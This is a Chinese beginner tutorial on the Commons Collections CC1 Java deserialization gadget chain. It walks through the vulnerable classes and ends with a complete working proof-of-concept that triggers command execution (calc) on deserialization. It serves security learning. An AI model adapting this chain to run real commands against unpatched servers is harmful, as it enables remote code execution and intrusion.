一文带你搞懂CC1链(小白入门必看文章)

一文带你搞懂CC1链(小白入门必看文章)CC 链是利用 Java 反序列化漏洞进行攻击的一种方式

大家好,欢迎来到IT知识分享网。

1. 简介

1.1 Commons Collections简介

​         根据维基百科的介绍,Apache Commons是Apache软件基金会的项目,曾隶属于Jakarta项目。Commons的目的是提供可重用的、开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

​         Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

1.2 反序列化漏洞简介

​         cc链是Apache commons collections反序列漏洞利用链的简称。

​         一般来说,把对象转换为字节系列的过程称为对象的序列化,把字节序列恢复成对象的过程成为对象的反序列化。用户一旦输入不可信数据进行了反序列化操作,那么就有可能触发序列化参数中包含的恶意代码。

​         ObjectOutputStream 类的 writeObject() 方法可以对参数指定的 obj 对象进行序列化操作, 并将得到的字节序列写到目标输出流中。相反的,ReadObject()方法则是从源输入流中读取字节序列,再将其反序列化为对象并返回。

序列化:对象–>字节 #用于存储,将对象存储到内存中去,需要序列化

反序列化:字节–>对象 #用于展示,将字节取出来进行展示,需要反序列化

ObjectOutputStream:WriteObject()

ObjectInputStream:ReadObject()

这是一段存储一个person的序列化的代码:

public class Person implements Serializable { 
     private int age; private String name; private String sex; public int getAge() { 
     return age; } public void setAge(int age) { 
     this.age = age; } public String getName() { 
     return name; } public void setName(String name) { 
     this.name = name; } public String getSex() { 
     return sex; } public void setSex(String sex) { 
     this.sex = sex; } } 
 public class TestObjSerializeAndDeserialize { 
     public static void main(String[] args) throws IOException, ClassNotFoundException { 
     serializePerson(); Person person = unserializePerson(); System.out.println(MessageFormat.format("name={0},age={1},sex={2}", person.getName(), person.getAge(), person.getSex())); } / * @description: 序列化person对象 * @param: [] * @return: void * @date: 2023/11/27 13:38 / private static void serializePerson() throws IOException { 
     Person person = new Person(); person.setName("tom"); person.setAge(26); person.setSex("男"); ObjectOutputStream objectOutputStream = new ObjectOutputStream( new FileOutputStream(new File("person.txt"))); objectOutputStream.writeObject(person); System.out.println("序列化person对象成功!"); objectOutputStream.close(); } / * @description: 反序列化person * @param: [] * @return: com.serializable.Person * @date: 2023/11/27 13:41 / private static Person unserializePerson() throws IOException, ClassNotFoundException { 
     ObjectInputStream objectInputStream = new ObjectInputStream( new FileInputStream(new File("person.txt"))); Person person = (Person) objectInputStream.readObject(); System.out.println("反序列化person成功!"); return person; } } 

存储在文本中的内容,即person.txt内容如下:
在这里插入图片描述

16进制打开如下:

在这里插入图片描述

反序列化漏洞的危害:

  1. 任意代码执行
  2. 获取shell
  3. 对服务器进行破坏

早期受影响的相关z组件件:

WebLogic、WebSphere、JBoss、Jenkins、OpenNMS

2. 环境搭建

2.1 版本说明

jdk:jdk8u65

commons collection:3.2.1

2.2 jdk配置

jdk下载:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

在这里插入图片描述

源代码下载:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/afb2f4

在这里插入图片描述

点击左下角的zip即可下载,然后解压。再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们辉压到当前文件夹下,然后把之前源码包(idk-afb2f4.zip)中/src/share/classes下的sun文件夹拷贝到sr文件夹中去。打开IDEA,选择文件 —>项目结构 –>SDK —>源路径 —>把src文件夹添加到源路径下,保存即可。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2.3 commons collection配置

maven直接导入即可,在pom.xml文件中进行依赖导入

 <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> 

在这里插入图片描述

3. 原理分析

3.1 CC1复现

​ cc1链中的源头是commons collections库中的transformer接口,这个接口里边有个transform方法。

org.apache.commons.collections.Transformer#transform

在这里插入图片描述
在这里插入图片描述

​ 通过查看继承层次结构图,我们找到了InvokerTransformer类(当然不止这一个类),在第119行,InvokerTransformer类重写了transform方法,并且该类还继承了Serializable序列化接口。

在这里插入图片描述

找到它的构造器和transform方法

//含参构造器,我们在外部调用类时需要用到 //参数为方法名,所调用方法的参数类型,所调用方法的参数值 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 
    this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } //重写的transform方法 //接收一个对象 public Object transform(Object input) { 
    if (input == null) { 
    return null; } try { 
    //可控的获取一个完整类的原型 Class cls = input.getClass(); //可控的获取该类的某个特定方法 Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用该类的方法 //可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点 return method.invoke(input, this.iArgs); } //省略..... } 

3.2 POC

poc利用图如下:

在这里插入图片描述

poc:

package com.transformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Transform { 
     public static void main(String[] args) { 
     Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{ 
    String.class}, new Object[]{ 
    "calc"}); invokerTransformer.transform(runtime); } } 

效果如下:

在这里插入图片描述

3.3 漏洞链分析

接下来就是一步步回溯,寻找合适的子类,构造漏洞链,找到直接到达重写了readObject的类,完成我们的”万里归途”。

目标:构造利用链,直达重写readObject的类

3.3.1 阶段一

寻找调用transform()的类的方法

​ 这里直接对这个方法右键查找用法,可以看到有很多都调用了这个方法,那么我们这里直接看到我们需要的TransformedMap类下的checkSetValue方法:

在这里插入图片描述

我们找到该类的构造方法和checkSetValue方法

 //接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { 
    super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } //接受一个对象类型的参数 //返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象 protected Object checkSetValue(Object value) { 
    return valueTransformer.transform(value); } 

​ 由于是protect权限,只能内部类访问,权限不够,往上找,查看是谁具体调用了方法checkSetValue()内部的这个transform(),发现是valueTransformer进行调用,查看valueTransformer,发现valueTransformer也是protect权限,继续查看valueTransformer从哪里来的,最后我们发现decorate()调用TransformedMap()的构造方法来的,所有涉及到的方法,只有decorate的权限修饰符是public

​ 也就是说,我们可以控制decorate()方法内的valueTransformer的值

protected final Transformer valueTransformer; //类TransformedMap提供该方法给外部进行TransformedMap构造 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { 
    return new TransformedMap(map, keyTransformer, valueTransformer); //调用构造方法 } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { 
    super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; //valueTransformer在这里被赋值 } protected Object checkSetValue(Object value) { 
    return valueTransformer.transform(value); //由valueTransformer进行调用 } 

利用思路:

我们可以先调用这个方法,然后实例化这个类,然后再想办法调用checkSetValue方法

decorate()–>installClass(TransformedMa)–>checkSetValue()

​ 这里我们不用原先的InvokerTransformer.transform()方法,由于我们使用的是transformMap的方法,所以先去构建一个HashMap,再通过这个map来调用transformer内的decorate()来完成一个transformedMap的实例化,最后再想办法触发checkSetValue()方法即可

Runtime r=Runtime.*getRuntime*(); InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{ 
   String.class},new Object[]{ 
   "calc"}); //invokerTransformer.transform(r); HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer); //静态方法staic修饰直接类名+方法名调用 //把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer. 

3.3.2 阶段二

寻找调用checkSetValue()的方法

前置条件:valueTransformer,已经完成赋值

接下来想办法去触发checkSetValue(),通过一个用法那里直接点进去,看谁对调用这个方法checkSetValue()

在这里插入图片描述

这是一个内部类

在这里插入图片描述

​ 在MapEntry方法中,Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法。简单来说就是通过通过对setValue()方法的调用来触发checkSetValue()方法

​ MapEntry类实际上是重写父类AbstractMapEntryDecorator的setValue()方法,以下是父类AbstractMapEntryDecorator的setValue()方法

在这里插入图片描述

​ MapEntry的父类AbstractMapEntryDecorator又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue(),,然后水到渠成的调用checkSetValue()

public class TransformedMapDemo { 
    public static void main(String[] args) { 
    Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{ 
   String.class}, new Object[]{ 
   "calc"}); HashMap<Object,Object> map=new HashMap<>(); map.put("key","value"); //给map一个键值对,方便遍历 //构造transformedmap是调用tranform()的前置条件 Map<Object, Object> transformedMap = TransformedMap.decorate( map, null, invokerTransformer); for(Map.Entry entry:transformedMap.entrySet()) { 
    //遍历Map常用格式 //调用setValue方法,通过setValue去触发checkSetValue() entry.setValue(runtime); } } } 
for(Map.Entry entry:transformedMap.entrySet()) { 
     //遍历Map常用格式 entry.setValue(runtime); } 
 在这里, transformedMap是经过装饰的 Map对象,具有特殊的行为。通过 entrySet() 方法获取了键值对的集合,然后进行遍历。transformedMap.entrySet()返回的是一个包含 `Map.Entry` 对象的集合,这样就可以遍历 M ap 的键值对。Map.Entry 是一个内部接口,用于表示`Map`中 的键值对,其中可以通过 getKey() 获取键,通过 getValue()获取值。 

​ 对于每个遍历到的键值对,调用了 setValue方法。在普通的Map中,这个方法通常用于修改值。但是在经过 TransformedMap装饰后,setValue方法的行为由装饰器定义。也就是说本来调用的map类中的setValue的方法,但是我们使用的是TransformedMap,TransformedMap装饰了map类中的setValue的方法,所以我们实际调用的MapEntry中的setValue()方法

在这里插入图片描述

在这里插入图片描述

过程梳理:

在这里插入图片描述

​ 首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,

​ 在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对(这里是为了让我们再后边的遍历中调用setValue()提供前置条件),然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,

​ 然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的父类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环

3.3.3 阶段三

追寻setValue,找到readObject()

通过在AbstractInputCheckedMapDecorator中的setValue()查找用法,来确定有哪些方法调用了setValue()方法

(jdk自带的包里面有些文件是反编译的.class文件)所以无法查找,需要去下载相应的源代码文件

rt.jar包下

sun.reflect.annotation.AnnotationInvocationHandler

在这里插入图片描述

在这里插入图片描述

接下来我们找到该类的构造方法:

//接收两个参数,这个类是 Annotation 接口的子类,或者是直接实现了 Annotation 接口的类 //第二个参数我们可控,可以传入我们之前写的transformedMap类 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { 
    Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; } 

由于memberValues可控,这样我们就可以传入自己需要的,然后实现setValue方法

问题:

我们可以看到定义这个类时,并没有写明public之类的声明,所以说明这个类只能在sun.reflect.annotation这个本包下被调用,我们要想在外部调用,需要用到反射来解决:

在这里插入图片描述

以下是粗略的poc代码:

public static void main(String[] args) throws Exception { 
    Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{ 
   String.class}, new Object[]{ 
   "calc"}); HashMap<Object,Object> map=new HashMap<>(); map.put("key","value"); //给map一个键值对,方便遍历 Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); // 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 获取指定参数类型的构造函数Constructor对象,这里我们能获取到估计就是它的那个构造函数 Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); // 相当于提升自己权限,以便可以访问非公共构造函数 constructor.setAccessible(true); //这里第一个是参数是注解的类原型,第二个就是我们之前的类 // 使用newInstance()方法创建一个新的AnnotationInvocationHandler实例 // 传递Override.class和decorate两个参数给构造函数 Object o = constructor.newInstance(Override.class, transformedMap); serialize(o); //序列化 unserialize("CC1.txt"); //反序列化 } //定义序列化方法 public static void serialize(Object object) throws Exception{ 
    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt")); oos.writeObject(object); } //定义反序列化方法 public static void unserialize(String filename) throws Exception{ 
    ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } 

出错了,没有弹出,这是什么什么问题

3.4 问题分析

3.4.1 问题1

解决Runtime没有序列化的问题

在这里插入图片描述

可以运用反射来获取它的原型类,它的原型类Class是存在serializable接口,可以序列化的

在这里插入图片描述

我们怎么获取一个实例化对象呢,这里我们看到在RunTime类中存在一个静态的getRuntime方法,这个方法会返回一个Runtime对象,相当于是一种单例模式:

所以我们用反射:

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { 
     Class rc=Class.forName("java.lang.Runtime"); //获取类原型 Method getRuntime= rc.getDeclaredMethod("getRuntime",null); //获取getRuntime方法, Runtime r=(Runtime) getRuntime.invoke(null,null); //获取实例化对象,因为该方法为无参方法,所以全为null Method exec=rc.getDeclaredMethod("exec", String.class); //获取exec方法 exec.invoke(r,"calc"); //实现命令执行 } 

按照上述思想,那么我们在利用transform()方法实现上述代码

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { 
     Class runtimeClass = Class.forName("java.lang.Runtime"); //获取原型类 /* Method getRuntime = runtimeClass.getDeclaredMethod("getRuntime", null); Runtime runtime = (Runtime) getRuntime.invoke(null, null); Method exec = runtime.getClass().getDeclaredMethod("exec", String.class); exec.invoke(runtime, "calc");*/ //利用transform方法实现上述代码 //这里模拟获取getRuntime方法,它的具体操作步骤类似之前 Method getRuntime = (Method) new InvokerTransformer( "getDeclaredMethod", new Class[]{ 
    String.class, Class[].class}, new Object[]{ 
    "getRuntime", null}).transform(Runtime.class); //这里模拟获取invoke方法 Runtime runtime = (Runtime) new InvokerTransformer( "invoke", new Class[]{ 
    Object.class, Object[].class}, new Object[]{ 
    null, null}).transform(getRuntime); //这里模拟获取exec方法,并进行命令执行 new InvokerTransformer("exec", new Class[]{ 
    String.class}, new Object[]{ 
    "calc"}).transform(runtime); } 

在这里插入图片描述

看起来是实现了,但是存在一个问题,但是要创建一个个的嵌套参数,很麻烦

于是通过查找commons collection中的Transformer接口中的transform方法(最开始的transform方法)

选中,然后按住ctrl+h快捷键,就能看到该方法的继承关系,其中有一个ChainedTransformer类

在这里插入图片描述

在这里插入图片描述

使用ChainedTransformer来重新实现,代码如下:

public static void main(String[] args) throws ClassNotFoundException { 
     Class runtimeClass = Class.forName("java.lang.Runtime"); //获取原型类 Transformer[] Transformers=new Transformer[]{ 
     new InvokerTransformer("getDeclaredMethod",new Class[]{ 
    String.class,Class[].class},new Object[]{ 
    "getRuntime",null}), new InvokerTransformer("invoke",new Class[]{ 
    Object.class,Object[].class},new Object[]{ 
    null,null}), new InvokerTransformer("exec",new Class[]{ 
    String.class},new Object[]{ 
    "calc"}) }; //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。 ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers); chainedTransformer.transform(Runtime.class); } 

两个代码都可以运行

在这里插入图片描述

3.4.2 问题2

解决setValue()方法无法执行的原因

你以为到这就完成了,其实并没有,不知道你是否发现,代码其实是不完整的,完整的代码如下:

public static void main(String[] args) throws Exception { 
     Class<?> runtime = Class.forName("java.lang.Runtime"); //创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历 Transformer[] Transformers=new Transformer[]{ 
     new InvokerTransformer("getDeclaredMethod",new Class[]{ 
    String.class,Class[].class},new Object[]{ 
    "getRuntime",null}), new InvokerTransformer("invoke",new Class[]{ 
    Object.class,Object[].class},new Object[]{ 
    null,null}), new InvokerTransformer("exec",new Class[]{ 
    String.class},new Object[]{ 
    "calc"}) }; //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。 ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers); // chainedTransformer.transform(Runtime.class); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object object = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap); serialize(object); unserialize("CC1.txt"); } //定义序列化方法 public static void serialize(Object object) throws Exception{ 
     ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt")); oos.writeObject(object); } //定义反序列化方法 public static void unserialize(String filename) throws Exception{ 
     ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } 

完整的代码是跑不起来的,这就需要我们去解决第二个问题,

​ 由代码我们很清楚的看出来,setValue()方法是在两个if语句下边,也就是说我们要满足两个if语句才能真正去调用我们需要的setValue()方法,这也是我们为什么在阶段三无法弹出计算器的原因之一。

在这里插入图片描述

现在要解决setValue()无法执行的问题,原因是memberType的值为空,打断点,调试如下:

在这里插入图片描述

原因分析,其实是因为这边给定的参数有问题

在这里插入图片描述

由于overRide是空的,没有值,所以我们换一个有值的注解

在这里插入图片描述

在这里插入图片描述

既然换成有值的话,那么上百年的map.put(0哪里也需要去改成相应的value,代码如下:

在这里插入图片描述

3.4.3 问题3

解决无法控制setValue值的问题

虽然有值了,但是传进去的参数会被修改,这不符合我们的目的,断点截图如下:

在这里插入图片描述

在这里插入图片描述

​ 由于每次给setValue的值都被修改,这不符合我们的期望。于是查找transform()的实现方法,发现存在一个类ConstantTransformer,无论输入什么,它都会返回一个常量

在这里插入图片描述

在这里插入图片描述

这个类很符合我们的期望,于是我们对此类进行利用,通过此类来完成对setValue的调用。添加相关代码如下,最后成功弹出。

在这里插入图片描述

3.5 完整CC1链

public static void main(String[] args) throws Exception { 
    Class<?> runtime = Class.forName("java.lang.Runtime"); //创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历 Transformer[] Transformers=new Transformer[]{ 
    new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{ 
   String.class,Class[].class},new Object[]{ 
   "getRuntime",null}), new InvokerTransformer("invoke",new Class[]{ 
   Object.class,Object[].class},new Object[]{ 
   null,null}), new InvokerTransformer("exec",new Class[]{ 
   String.class},new Object[]{ 
   "calc"}) }; //调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。 ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object object = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); serialize(object); unserialize("CC1.txt"); } //定义序列化方法 public static void serialize(Object object) throws Exception{ 
    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt")); oos.writeObject(object); } //定义反序列化方法 public static void unserialize(String filename) throws Exception{ 
    ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } 

4. 参考资料

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/119470.html

(0)
上一篇 2025-11-05 11:15
下一篇 2025-11-05 11:26

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信